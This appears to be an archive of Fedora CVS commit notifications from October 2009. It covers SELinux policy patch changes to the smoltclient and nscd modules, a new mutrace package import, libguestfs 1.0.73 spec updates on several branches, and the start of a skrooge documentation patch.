 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.fc        |    3 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   58 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   21 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  207 +++-
 policy/modules/system/authlogin.te        |   10 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  227 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   77 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1430 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 352 files changed, 16534 insertions(+), 2631 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.108
retrieving revision 1.109
diff -u -p -r1.108 -r1.109
--- policy-F12.patch	14 Oct 2009 14:00:46 -0000	1.108
+++ policy-F12.patch	14 Oct 2009 14:48:38 -0000	1.109
@@ -1313,8 +1313,8 @@ diff -b -B --ignore-all-space --exclude-
 +## <summary>The Fedora hardware profiler client</summary>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/smoltclient.te serefpolicy-3.6.32/policy/modules/admin/smoltclient.te
 --- nsaserefpolicy/policy/modules/admin/smoltclient.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/admin/smoltclient.te	2009-10-13 10:09:59.000000000 -0400
-@@ -0,0 +1,68 @@
++++ serefpolicy-3.6.32/policy/modules/admin/smoltclient.te	2009-10-14 10:05:57.000000000 -0400
+@@ -0,0 +1,66 @@
 +policy_module(smoltclient,1.0.0)
 +
 +########################################
@@ -1339,7 +1339,6 @@ diff -b -B --ignore-all-space --exclude-
 +allow smoltclient_t self:fifo_file rw_fifo_file_perms;
 +allow smoltclient_t self:tcp_socket create_socket_perms;
 +allow smoltclient_t self:udp_socket create_socket_perms;
-+allow smoltclient_t self:netlink_route_socket r_netlink_socket_perms;
 +
 +can_exec(smoltclient_t, smoltclient_tmp_t)
 +manage_dirs_pattern(smoltclient_t, smoltclient_tmp_t, smoltclient_tmp_t)
@@ -1355,7 +1354,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 +corenet_tcp_connect_http_port(smoltclient_t)
 +
-+dev_read_urand(smoltclient_t)
++auth_use_nsswitch(smoltclient_t)
++
 +dev_read_sysfs(smoltclient_t)
 +
 +fs_getattr_all_fs(smoltclient_t)
@@ -1367,8 +1367,6 @@ diff -b -B --ignore-all-space --exclude-
 +
 +miscfiles_read_localization(smoltclient_t)
 +
-+sysnet_read_config(smoltclient_t)
-+
 +optional_policy(`
 +	dbus_system_bus_client(smoltclient_t)
 +')
@@ -13482,7 +13480,7 @@ diff -b -B --ignore-all-space --exclude-
  files_pid_filetrans(irqbalance_t, irqbalance_var_run_t, file)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/kerberos.te serefpolicy-3.6.32/policy/modules/services/kerberos.te
 --- nsaserefpolicy/policy/modules/services/kerberos.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/kerberos.te	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/kerberos.te	2009-10-14 10:10:42.000000000 -0400
 @@ -277,6 +277,8 @@
  #
  
@@ -14584,10 +14582,52 @@ diff -b -B --ignore-all-space --exclude-
  corenet_tcp_bind_all_rpc_ports(ypxfr_t)
  corenet_udp_bind_all_rpc_ports(ypxfr_t)
  corenet_dontaudit_tcp_bind_all_reserved_ports(ypxfr_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nscd.if serefpolicy-3.6.32/policy/modules/services/nscd.if
+--- nsaserefpolicy/policy/modules/services/nscd.if	2009-09-16 09:09:20.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/nscd.if	2009-10-14 10:12:17.000000000 -0400
+@@ -121,6 +121,24 @@
+ 
+ ########################################
+ ## <summary>
++##	Use nscd services
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++#
++interface(`nscd_use',`
++	tunable_policy(`nscd_use_shm',`
++		nscd_shm_use($1)
++	',`
++		nscd_socket_use($1)
++	')
++')
++
++########################################
++## <summary>
+ ##	Use NSCD services by mapping the database from
+ ##	an inherited NSCD file descriptor.
+ ## </summary>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nscd.te serefpolicy-3.6.32/policy/modules/services/nscd.te
 --- nsaserefpolicy/policy/modules/services/nscd.te	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/nscd.te	2009-09-30 16:12:48.000000000 -0400
-@@ -91,6 +91,7 @@
++++ serefpolicy-3.6.32/policy/modules/services/nscd.te	2009-10-14 10:11:11.000000000 -0400
+@@ -5,6 +5,13 @@
+ 	class nscd all_nscd_perms;
+ ')
+ 
++## <desc>
++## <p>
++## Allow confined applications to use nscd shared memory.
++## </p>
++## </desc>
++gen_tunable(nscd_use_shm, false)
++
+ ########################################
+ #
+ # Declarations
+@@ -91,6 +98,7 @@
  selinux_compute_relabel_context(nscd_t)
  selinux_compute_user_contexts(nscd_t)
  domain_use_interactive_fds(nscd_t)
@@ -14595,7 +14635,7 @@ diff -b -B --ignore-all-space --exclude-
  
  files_read_etc_files(nscd_t)
  files_read_generic_tmp_symlinks(nscd_t)
-@@ -128,3 +129,12 @@
+@@ -128,3 +136,12 @@
  	xen_dontaudit_rw_unix_stream_sockets(nscd_t)
  	xen_append_log(nscd_t)
  ')
@@ -22723,7 +22763,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/authlogin.if serefpolicy-3.6.32/policy/modules/system/authlogin.if
 --- nsaserefpolicy/policy/modules/system/authlogin.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/authlogin.if	2009-10-07 13:42:42.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/authlogin.if	2009-10-14 10:09:41.000000000 -0400
 @@ -40,17 +40,76 @@
  ##	</summary>
  ## </param>
@@ -22999,7 +23039,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Do not audit attempts to write to
  ##	login records files.
  ## </summary>
-@@ -1395,6 +1537,14 @@
+@@ -1395,16 +1537,33 @@
  	')
  
  	optional_policy(`
@@ -23014,18 +23054,20 @@ diff -b -B --ignore-all-space --exclude-
  		nis_use_ypbind($1)
  	')
  
-@@ -1403,8 +1553,17 @@
- 	')
- 
  	optional_policy(`
-+		nslcd_stream_connect($1)
+-		nscd_socket_use($1)
++		nscd_use($1)
 +	')
 +
 +	optional_policy(`
-+		sssd_stream_connect($1)
++		nslcd_stream_connect($1)
 +	')
 +
 +	optional_policy(`
++		sssd_stream_connect($1)
+ 	')
+ 
+ 	optional_policy(`
  		samba_stream_connect_winbind($1)
  		samba_read_var_files($1)
 +		samba_dontaudit_write_var_files($1)



From lennart at fedoraproject.org  Wed Oct 14 14:51:10 2009
From: lennart at fedoraproject.org (Lennart Poettering)
Date: Wed, 14 Oct 2009 14:51:10 +0000 (UTC)
Subject: rpms/mutrace/devel import.log, NONE, 1.1 mutrace.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091014145110.70D2411C0296@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/mutrace/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28192/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mutrace.spec 
Log Message:
initial import



--- NEW FILE import.log ---
mutrace-0_2-1_fc12:HEAD:mutrace-0.2-1.fc12.src.rpm:1255531814


--- NEW FILE mutrace.spec ---
Name:		mutrace
Version:	0.2
Release:	1%{?dist}
Summary:	Mutex Tracer
Group:		Development/Debuggers
License:	LGPLv3+ and GPLv2+
URL:		http://git.0pointer.de/?p=mutrace.git
Source0:	http://0pointer.de/public/%{name}-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
Requires:	/usr/bin/getopt
BuildRequires:	binutils-devel

%description
mutrace is a mutex profiler. It may be used to track down contended mutexes in
multi-threaded applications.

%post -p /sbin/ldconfig
%postun -p /sbin/ldconfig

%prep
%setup -q

%build
%configure
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc README LGPL3 GPL2 GPL3
%{_bindir}/mutrace
%{_bindir}/matrace
%{_libdir}/libmutrace.so
%{_libdir}/libmatrace.so
%{_libdir}/libmutrace-backtrace-symbols.so

%changelog
* Wed Oct 7 2009 Lennart Poettering <lpoetter at redhat.com> 0.2-1
- Do fixes recommended in review

* Tue Oct 6 2009 Lennart Poettering <lpoetter at redhat.com> 0.1-3
- Do fixes recommended in review

* Fri Sep 18 2009 Lennart Poettering <lpoetter at redhat.com> 0.1-2
- Do fixes recommended in review

* Wed Sep 16 2009 Lennart Poettering <lpoetter at redhat.com> 0.1-1
- Initial release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mutrace/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	13 Oct 2009 16:25:41 -0000	1.1
+++ .cvsignore	14 Oct 2009 14:51:09 -0000	1.2
@@ -0,0 +1 @@
+mutrace-0.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mutrace/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	13 Oct 2009 16:25:41 -0000	1.1
+++ sources	14 Oct 2009 14:51:09 -0000	1.2
@@ -0,0 +1 @@
+93e6d522b615903ca3f89881efe8edfb  mutrace-0.2.tar.gz



From rjones at fedoraproject.org  Wed Oct 14 14:54:44 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Wed, 14 Oct 2009 14:54:44 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 libguestfs.spec,1.69,1.70
Message-ID: <20091014145444.D589411C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28737/EL-5

Modified Files:
	libguestfs.spec 
Log Message:
* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
- New upstream release 1.0.73.
- OCaml library now depends on xml-light.
- Deal with installed documentation.



Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- libguestfs.spec	23 Sep 2009 13:39:12 -0000	1.69
+++ libguestfs.spec	14 Oct 2009 14:54:44 -0000	1.70
@@ -4,7 +4,7 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.72
+Version:     1.0.73
 Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
@@ -64,6 +64,7 @@ Requires:      grub, ntfsprogs
 # different languages:
 BuildRequires: ocaml
 BuildRequires: ocaml-findlib-devel
+BuildRequires: ocaml-xml-light-devel
 #BuildRequires: perl-devel
 #BuildRequires: perl-Test-Simple
 BuildRequires: perl-Test-Pod
@@ -415,6 +416,10 @@ rm $RPM_BUILD_ROOT%{_libdir}/libguestfs_
 # Generator shouldn't be executable when we distribute it.
 chmod -x src/generator.ml
 
+# Move installed documentation back to the source directory so
+# we can install it using a %%doc rule.
+#mv $RPM_BUILD_ROOT%{_docdir}/libguestfs installed-docs
+
 # Find locale files.
 %find_lang %{name}
 
@@ -442,7 +447,8 @@ rm -rf $RPM_BUILD_ROOT
 %files devel
 %defattr(-,root,root,-)
 %doc ChangeLog HACKING TODO README ex html/guestfs.3.html html/pod.css
-%doc src/generator.ml
+#%doc src/generator.ml
+%doc installed-docs/*
 %{_libdir}/libguestfs.so
 %{_mandir}/man3/guestfs.3*
 %{_mandir}/man3/libguestfs.3*
@@ -538,6 +544,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
+- New upstream release 1.0.73.
+- OCaml library now depends on xml-light.
+- Deal with installed documentation.
+
 * Wed Sep 23 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.72-1
 - New upstream release 1.0.72.
 - New tools: virt-edit, virt-rescue.



From rjones at fedoraproject.org  Wed Oct 14 14:54:45 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Wed, 14 Oct 2009 14:54:45 +0000 (UTC)
Subject: rpms/libguestfs/F-11 .cvsignore, 1.38, 1.39 libguestfs.spec, 1.65, 
	1.66 sources, 1.38, 1.39
Message-ID: <20091014145445.20E6A11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28737/F-11

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
- New upstream release 1.0.73.
- OCaml library now depends on xml-light.
- Deal with installed documentation.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-11/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	23 Sep 2009 13:39:10 -0000	1.38
+++ .cvsignore	14 Oct 2009 14:54:44 -0000	1.39
@@ -1 +1 @@
-libguestfs-1.0.72.tar.gz
+libguestfs-1.0.73.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-11/libguestfs.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- libguestfs.spec	23 Sep 2009 13:39:11 -0000	1.65
+++ libguestfs.spec	14 Oct 2009 14:54:44 -0000	1.66
@@ -4,7 +4,7 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.72
+Version:     1.0.73
 Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
@@ -50,6 +50,7 @@ Requires:      grub, ntfsprogs
 # different languages:
 BuildRequires: ocaml
 BuildRequires: ocaml-findlib-devel
+BuildRequires: ocaml-xml-light-devel
 BuildRequires: perl-devel
 BuildRequires: perl-Test-Simple
 BuildRequires: perl-Test-Pod
@@ -409,6 +410,10 @@ rm $RPM_BUILD_ROOT%{_libdir}/libguestfs_
 # Generator shouldn't be executable when we distribute it.
 chmod -x src/generator.ml
 
+# Move installed documentation back to the source directory so
+# we can install it using a %%doc rule.
+mv $RPM_BUILD_ROOT%{_docdir}/libguestfs installed-docs
+
 # Find locale files.
 %find_lang %{name}
 
@@ -437,6 +442,7 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc ChangeLog HACKING TODO README ex html/guestfs.3.html html/pod.css
 %doc src/generator.ml
+%doc installed-docs/*
 %{_libdir}/libguestfs.so
 %{_mandir}/man3/guestfs.3*
 %{_mandir}/man3/libguestfs.3*
@@ -532,6 +538,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
+- New upstream release 1.0.73.
+- OCaml library now depends on xml-light.
+- Deal with installed documentation.
+
 * Wed Sep 23 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.72-1
 - New upstream release 1.0.72.
 - New tools: virt-edit, virt-rescue.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-11/sources,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- sources	23 Sep 2009 13:39:11 -0000	1.38
+++ sources	14 Oct 2009 14:54:44 -0000	1.39
@@ -1 +1 @@
-d6c66e405e34c256c05860cb25801a0d  libguestfs-1.0.72.tar.gz
+749041818f250f50f4ed8afbfc0fc568  libguestfs-1.0.73.tar.gz



From rjones at fedoraproject.org  Wed Oct 14 14:54:45 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Wed, 14 Oct 2009 14:54:45 +0000 (UTC)
Subject: rpms/libguestfs/F-12 .cvsignore, 1.51, 1.52 libguestfs.spec, 1.103, 
	1.104 sources, 1.51, 1.52
Message-ID: <20091014145445.55ADB11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28737/F-12

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
- New upstream release 1.0.73.
- OCaml library now depends on xml-light.
- Deal with installed documentation.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/.cvsignore,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- .cvsignore	23 Sep 2009 13:39:05 -0000	1.51
+++ .cvsignore	14 Oct 2009 14:54:45 -0000	1.52
@@ -1 +1 @@
-libguestfs-1.0.72.tar.gz
+libguestfs-1.0.73.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/libguestfs.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- libguestfs.spec	29 Sep 2009 10:25:14 -0000	1.103
+++ libguestfs.spec	14 Oct 2009 14:54:45 -0000	1.104
@@ -4,8 +4,8 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.72
-Release:     2%{?dist}
+Version:     1.0.73
+Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -50,6 +50,7 @@ Requires:      grub, ntfsprogs
 # different languages:
 BuildRequires: ocaml
 BuildRequires: ocaml-findlib-devel
+BuildRequires: ocaml-xml-light-devel
 BuildRequires: perl-devel
 BuildRequires: perl-Test-Simple
 BuildRequires: perl-Test-Pod
@@ -413,6 +414,10 @@ rm $RPM_BUILD_ROOT%{_libdir}/libguestfs_
 # Generator shouldn't be executable when we distribute it.
 chmod -x src/generator.ml
 
+# Move installed documentation back to the source directory so
+# we can install it using a %%doc rule.
+mv $RPM_BUILD_ROOT%{_docdir}/libguestfs installed-docs
+
 # Find locale files.
 %find_lang %{name}
 
@@ -441,6 +446,7 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc ChangeLog HACKING TODO README ex html/guestfs.3.html html/pod.css
 %doc src/generator.ml
+%doc installed-docs/*
 %{_libdir}/libguestfs.so
 %{_mandir}/man3/guestfs.3*
 %{_mandir}/man3/libguestfs.3*
@@ -536,6 +542,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
+- New upstream release 1.0.73.
+- OCaml library now depends on xml-light.
+- Deal with installed documentation.
+
 * Tue Sep 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.72-2
 - Force rebuild.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/F-12/sources,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- sources	23 Sep 2009 13:39:05 -0000	1.51
+++ sources	14 Oct 2009 14:54:45 -0000	1.52
@@ -1 +1 @@
-d6c66e405e34c256c05860cb25801a0d  libguestfs-1.0.72.tar.gz
+749041818f250f50f4ed8afbfc0fc568  libguestfs-1.0.73.tar.gz



From rjones at fedoraproject.org  Wed Oct 14 14:54:45 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Wed, 14 Oct 2009 14:54:45 +0000 (UTC)
Subject: rpms/libguestfs/devel .cvsignore, 1.51, 1.52 libguestfs.spec, 1.103,
	1.104 sources, 1.51, 1.52
Message-ID: <20091014145445.95D7B11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28737/devel

Modified Files:
	.cvsignore libguestfs.spec sources 
Log Message:
* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
- New upstream release 1.0.73.
- OCaml library now depends on xml-light.
- Deal with installed documentation.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/.cvsignore,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- .cvsignore	23 Sep 2009 13:39:05 -0000	1.51
+++ .cvsignore	14 Oct 2009 14:54:45 -0000	1.52
@@ -1 +1 @@
-libguestfs-1.0.72.tar.gz
+libguestfs-1.0.73.tar.gz


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/libguestfs.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- libguestfs.spec	29 Sep 2009 08:12:31 -0000	1.103
+++ libguestfs.spec	14 Oct 2009 14:54:45 -0000	1.104
@@ -4,8 +4,8 @@
 Summary:     Access and modify virtual machine disk images
 Name:        libguestfs
 Epoch:       1
-Version:     1.0.72
-Release:     2%{?dist}
+Version:     1.0.73
+Release:     1%{?dist}
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -50,6 +50,7 @@ Requires:      grub, ntfsprogs
 # different languages:
 BuildRequires: ocaml
 BuildRequires: ocaml-findlib-devel
+BuildRequires: ocaml-xml-light-devel
 BuildRequires: perl-devel
 BuildRequires: perl-Test-Simple
 BuildRequires: perl-Test-Pod
@@ -413,6 +414,10 @@ rm $RPM_BUILD_ROOT%{_libdir}/libguestfs_
 # Generator shouldn't be executable when we distribute it.
 chmod -x src/generator.ml
 
+# Move installed documentation back to the source directory so
+# we can install it using a %%doc rule.
+mv $RPM_BUILD_ROOT%{_docdir}/libguestfs installed-docs
+
 # Find locale files.
 %find_lang %{name}
 
@@ -441,6 +446,7 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc ChangeLog HACKING TODO README ex html/guestfs.3.html html/pod.css
 %doc src/generator.ml
+%doc installed-docs/*
 %{_libdir}/libguestfs.so
 %{_mandir}/man3/guestfs.3*
 %{_mandir}/man3/libguestfs.3*
@@ -536,6 +542,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 14 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.73-1
+- New upstream release 1.0.73.
+- OCaml library now depends on xml-light.
+- Deal with installed documentation.
+
 * Tue Sep 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.72-2
 - Force rebuild.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/devel/sources,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- sources	23 Sep 2009 13:39:05 -0000	1.51
+++ sources	14 Oct 2009 14:54:45 -0000	1.52
@@ -1 +1 @@
-d6c66e405e34c256c05860cb25801a0d  libguestfs-1.0.72.tar.gz
+749041818f250f50f4ed8afbfc0fc568  libguestfs-1.0.73.tar.gz



From rdieter at fedoraproject.org  Wed Oct 14 14:54:56 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Wed, 14 Oct 2009 14:54:56 +0000 (UTC)
Subject: rpms/skrooge/devel skrooge-0.5.2-docs.patch, NONE, 1.1 skrooge.spec,
	1.5, 1.6
Message-ID: <20091014145456.8AFE711C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/skrooge/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28853

Modified Files:
	skrooge.spec 
Added Files:
	skrooge-0.5.2-docs.patch 
Log Message:
* Wed Oct 14 2009 Rex Dieter <rdieter at fedoraproject.org> 0.5.2-2
- (HTML) docs patch, use %find_lang --with-kde
- own %{_kde4_appsdir}/skrooge*/ dirs
- %check: omit extraneous desktop-file-validate's


skrooge-0.5.2-docs.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE skrooge-0.5.2-docs.patch ---
diff -up skrooge-0.5.2/doc/CMakeLists.txt.docs skrooge-0.5.2/doc/CMakeLists.txt
--- skrooge-0.5.2/doc/CMakeLists.txt.docs	2009-10-04 09:13:16.000000000 -0500
+++ skrooge-0.5.2/doc/CMakeLists.txt	2009-10-14 09:26:30.731528095 -0500
